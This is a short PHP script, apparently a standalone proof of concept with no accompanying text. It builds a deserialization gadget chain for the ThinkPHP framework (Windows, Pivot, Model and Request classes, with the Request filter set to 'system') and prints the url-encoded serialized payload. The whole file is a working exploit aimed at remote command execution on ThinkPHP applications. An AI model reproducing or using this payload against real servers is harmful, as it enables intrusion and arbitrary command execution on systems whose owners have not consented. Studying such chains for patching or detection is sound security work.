1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["Y0ng" =>[]]; $this ->data = ["Y0ng" =>new Request()]; } } class Request { protected $filter ; protected $hook = []; protected $config = [ 'var_ajax' => '' , ]; public function __construct ( ) { $this ->filter = 'system' ; $this ->hook = ['visible' =>[$this ,"isAjax" ]]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} namespace think \process \pipes ;use think \model \Pivot ;use think \Process ;class Windows { private $files ; public function __construct ( ) { $this ->files = [new Pivot()]; } } echo urlencode(serialize(new Windows()));?>